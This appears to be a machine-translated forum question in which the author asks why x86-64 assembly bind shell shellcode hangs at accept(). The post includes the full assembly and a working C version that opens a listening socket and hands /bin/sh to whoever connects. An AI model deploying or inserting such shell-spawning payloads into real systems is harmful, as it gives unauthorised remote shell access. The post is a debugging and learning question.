Я пытаюсь создать шелл-код привязки TCP, смоделированный после C записи того же самого.
Вот asm:
global _start
section .text
_start:
; socket() call
xor rax,rax
add rax,41
xor rdi,rdi
add rdi,2
xor rsi,rsi
add rsi,1
xor rdx,rdx
syscall
; save file descriptor
mov rbx,rax ; rbx is a 'safe' register, syscalls won't trample it
; build sockaddr_in struct - push in reverse needs to be a pointer
xor rdx,rdx
push rdx ; INADDR_ANY bind to any ip address
push word 0xa1a ; port 6666
push 0x2 ; AF_INET - required for ipv4
; build bind() call
mov rdi,rbx ; socket file descriptor
mov rsi,rsp ; pointer to struct
xor rdx,rdx
add rdx,16 ; size of struct
xor rax,rax
add rax,49
syscall
; build listen() call
xor rax,rax
add rax,50
mov rdx,rbx ; get the fd from the register we saved it to
xor rsi,rsi
add rsi,1 ; backlog size
syscall
; build accept() call
xor rax,rax
add rax,43
mov rdi,rbx ; safe register still has fd
xor rsi,rsi ; used to be mov rsi,rsp ; nothing new pushed, still pointing at our struct
xor rdx,rdx
; add rdx,16 ; still size of struct
syscall
mov r12,rax ; save fd for accepted socket, r12 is also a 'safe' register
; build dup2() calls
; these are needed to re-route stdout/err/in to our socket
xor rax,rax
add rax,33
mov rdi,r12 ; get our open/accepted socket fd
xor rsi,rsi ; 0 for stdin
syscall
xor rax,rax
add rax,33
mov rdi,r12
xor rsi,rsi
add rsi,1 ; stdout
syscall
xor rax,rax
add rax,33
mov rdi,r12
xor rsi,rsi
add rsi,2 ; stderr
syscall
; spawn the shell
jmp payload
shell: db '/bin/sh'
shell_term: db 1
payload:
xor rax,rax
push rax
mov rsi,rsp ;null pointer for argv
mov rdx,rsp ;null pointer for envp
lea rdi,[rel shell]
dec byte [rel shell_term]
add rax,59
syscall
Я запустил программу через edb-debugger, и все работает нормально, но зависает при вызове accept()
. Затем я могу приостановить выполнение, и ошибка ERESTARTSYS будет записана в rax
. Я также пробовал несколько разных версий вызова (с комментариями в коде). Но они оба возвращают одно и то же. Я знаю из Google, что ошибка как-то связана с вызовом функции, но, честно говоря, я не совсем понял asp, что именно он пытался мне сказать.
Еще одна странность - что я могу ввести asm (у меня есть файл basi c c, который делает это), и он будет работать нормально, но есть несколько странных вещей, которые я не понимаю в его поведении. 1. Порт не тот, который я установил, он кажется случайным (обычно 30000+) 2. Я могу nc
подключиться к порту локально (но не удаленно) 3. Оболочка появится на терминале, который я запустил инъекцию, но только после того, как я нажал Enter на подключенном терминале nc
. Это происходит с введенной командой или без нее, но в любом случае не дает никаких выходных данных на подключенном терминале nc
.
Я проверил свои socket()
, bind()
, sockaddr_in
struct и listen()
порции через edb-debugger и просмотр кода. Я чувствую, что это сужается до звонка accept()
. Однако тот факт, что он привязан к неправильному порту, заставляет меня подозревать bind()
или sockaddr_in
. Но, похоже, они работают нормально.
Вот код C, после которого я моделирую свой asm:
#include <sys/socket.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
#include <netinet/in.h>
#include <stdio.h>
int main(void)
{
int clientfd, sockfd;
int port = 1234;
struct sockaddr_in mysockaddr;
sockfd = socket(AF_INET, SOCK_STREAM, 0);
mysockaddr.sin_family = AF_INET; //--> can be represented in numeric as 2
mysockaddr.sin_port = htons(port);
mysockaddr.sin_addr.s_addr = INADDR_ANY;// --> can be represented in numeric as 0 which means to bind to all interfaces
// printf("size of sin_family: %d\n", (int)sizeof(mysockaddr.sin_family));
// printf("size of sin_port: %d\n", (int)sizeof(mysockaddr.sin_port));
// printf("size of sin_addr: %d\n", (int)sizeof(mysockaddr.sin_addr));
// printf("size of sin_addr.s_addr: %d\n", (int)sizeof(mysockaddr.sin_addr.s_addr));
// printf("size of struct: %d\n", (int)sizeof(mysockaddr));
bind(sockfd, (struct sockaddr *) &mysockaddr, sizeof(mysockaddr));
listen(sockfd, 1);
clientfd = accept(sockfd, NULL, NULL);
dup2(clientfd, 0);
dup2(clientfd, 1);
dup2(clientfd, 2);
char * const argv[] = {"sh",NULL, NULL};
execve("/bin/sh", argv, NULL);
return 0;
}
Этот код работает точно так, как я ожидал.